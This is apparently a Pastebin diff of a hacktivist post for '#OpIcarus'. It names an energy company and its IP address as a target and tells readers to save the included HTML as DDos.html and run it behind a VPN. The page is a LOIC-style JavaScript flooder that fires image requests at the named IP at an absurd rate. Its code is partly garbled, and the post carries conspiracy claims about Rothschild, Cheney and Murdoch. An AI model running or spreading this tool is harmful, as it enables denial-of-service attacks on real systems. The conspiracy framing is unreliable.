View difference between Paste ID: HPtyzdUE and LeNcgn9j
SHOW: | | - or go back to the newest paste.
1
#OpIcarus #OpShutDownTheGov #OpIsrael #OpISIS #Killuminati
2
3
Genie Energy: Rothschild, Cheney and Murdoch. 
4
IP: 205.186.139.243 
5
6
Copy all of the below and save it in a notepad. Then save as DDos.html on to your desktop, open and run. Make sure to use a VPN
7
8
Expect us. 
9
---------------------------------------------------------------------------------------------------------------------------------------
10
<html>
11
    <head>
12
        <title>DIGITAL ANARCHY</title>
13
14
    </head>
15
    <center><h1>OPICARUS - SHOULD HAVE EXPECTED US</h1></center>
16
    <body style="background-color:black; color:#FFFFFF;">
17
    <div style="position:absolute; width:100%; height:100%;">
18
19
    <div style="width:520px; height:800px; position:absolute;">
20
    <img alt="LOIC"src="http://i66.tinypic.com/2eulipu.jpg" />
21
    </div>
22
23
    <div style="width:240px; height:100px; position:absolute;left:500px;">
24
         <fieldset style="width:100%; height:100%;">
25
            <legend>Step 1. Select your target:</legend>
26
            <label>URL: <br /> <input id="targetURL" style="width:100%;" value="205.186.139.243 " /></label> <!-- disabled="true" -->
27
28
        </fieldset>
29
    </div>
30
    <div style="width:240px; height:100px; position:absolute; left:780px;">
31
         <fieldset style="width:100%; height:100%;">
32
           <legend>Step 2. Ready?</legend>
33
34
            <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
35
36
        </fieldset>
37
    </div>
38
39
    <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
40
         <fieldset style="width:100%; height:100%;">
41
            <legend>Optional. Options</legend>
42
             <label>Requests per second : <input style="width:40px;" id="rps" value="999999999999999" /></label><br />
43
44
             <label>Append message : <br /><input style="width:100%;" id="message" value="Free Golan Heights" /></label>
45
46
        </fieldset>
47
    </div>
48
49
    <div style="width:240px; height:160px;  position:absolute; left:780px; top:150px;">
50
         <fieldset style="width:100%; height:100%;">
51
             <legend>Attack status:</legend>
52
            <dl>
53
                <dt>Requested:</dt>
54
                <dd id="requestedCtr">0</dd>
55
56
                <dt style="opacity: 0.5; color: green;">Request OK :</dt>
57
                <dd style="opacity: 0.5" id="succeededCtr">0</dd>
58
                <dt style="opacity: 0.5; color: red;">Request failed :</dt>
59
                <dd style="opacity: 0.5" id="failedCtr">0</dd>
60
            </dl>
61
        </fieldset>
62
    </div>
63
64
    </div>
65
        <script>
66
            (function () {
67
                var fireInterval;
68
                var isFiring = true;
69
                var requestedCtrNode = document.getElementById("requestedCtr"),
70
                    succeededCtrNode = document.getElementById("succeededCtr"),
71
                    failedCtrNode = document.getElementById("failedCtr"),
72
                    targetURLNode = document.getElementById("targetURL"),
73
                    fireButton = document.getElementById("fireButton"),
74
                    messageNode = document.getElementById("message"),
75
                    rpsNode = document.getElementById("rps"),
76
                    timeoutNode = document.getElementById("timeout");
77
                var targetURL = targetURLNode.value;
78
                targetURLNode.onchange = function () {
79
                    targetURL = this.value;
80
                };
81
                var requestsHT = {}; // requests hash table, may come in handy later
82
                var requestedCtr = 0,
83
                    succeededCtr = 0,
84
                    failedCtr = 0;
85
                var makeHttpRequest = function () {
86
                                            if (requestedCtr > failedCtr + succeededCtr + 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) { //Allow no more than 1000 hung requests
87
                                                    return;
88
                                            };
89
90
                        var rID =Number(new Date());
91
                        var img = new Image();
92
                        img.onerror = function () { onFail(rID); };
93
                        img.onabort = function () { onFail(rID); };
94
                        img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
95
96
                                            img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
97
                        requestsHT[rID] = img;
98
                        onRequest(rID);
99
                    };
100
101
                var onRequest = function (rID) {
102
                        requestedCtr++;
103
                        requestedCtrNode.innerHTML = requestedCtr;
104
                    };
105
106
                var onComplete = function (rID) {
107
                        delete requestsHT[rID];
108
                    };
109
110
                var onFail = function (rID) {
111
                       // failedCtr++;
112
                        //failedCtrNode.innerHTML = failedCtr;
113
114
                                            succeededCtr++; //Seems like the url will always fail it it isn't an image
115
                        succeededCtrNode.innerHTML = succeededCtr;
116
                        delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
117
                    };
118
119
                var onSuccess = function (rID) {
120
                        succeededCtr++;
121
                        succeededCtrNode.innerHTML = succeededCtr;
122
                        delete requestsHT[rID];
123
                    };
124
125
                fireButton.onclick = function () {
126
                    if (isFiring) {
127
                        clearInterval(fireInterval);
128
                        isFiring = false;
129
                        this.innerHTML = "START";
130
                    } else {
131
                        isFiring = true;
132
                        this.innerHTML = "Stop flooding";
133
134
                        fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));
135
                    }
136
                };
137
138
            })();
139
140
    isFiring = false;
141
    document.getElementById("fireButton").innerHTML = "Stop flooding";
142
    fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(document.getElementById("rps").value) | 0));
143
        </script>
144
    </body>
145
    </html>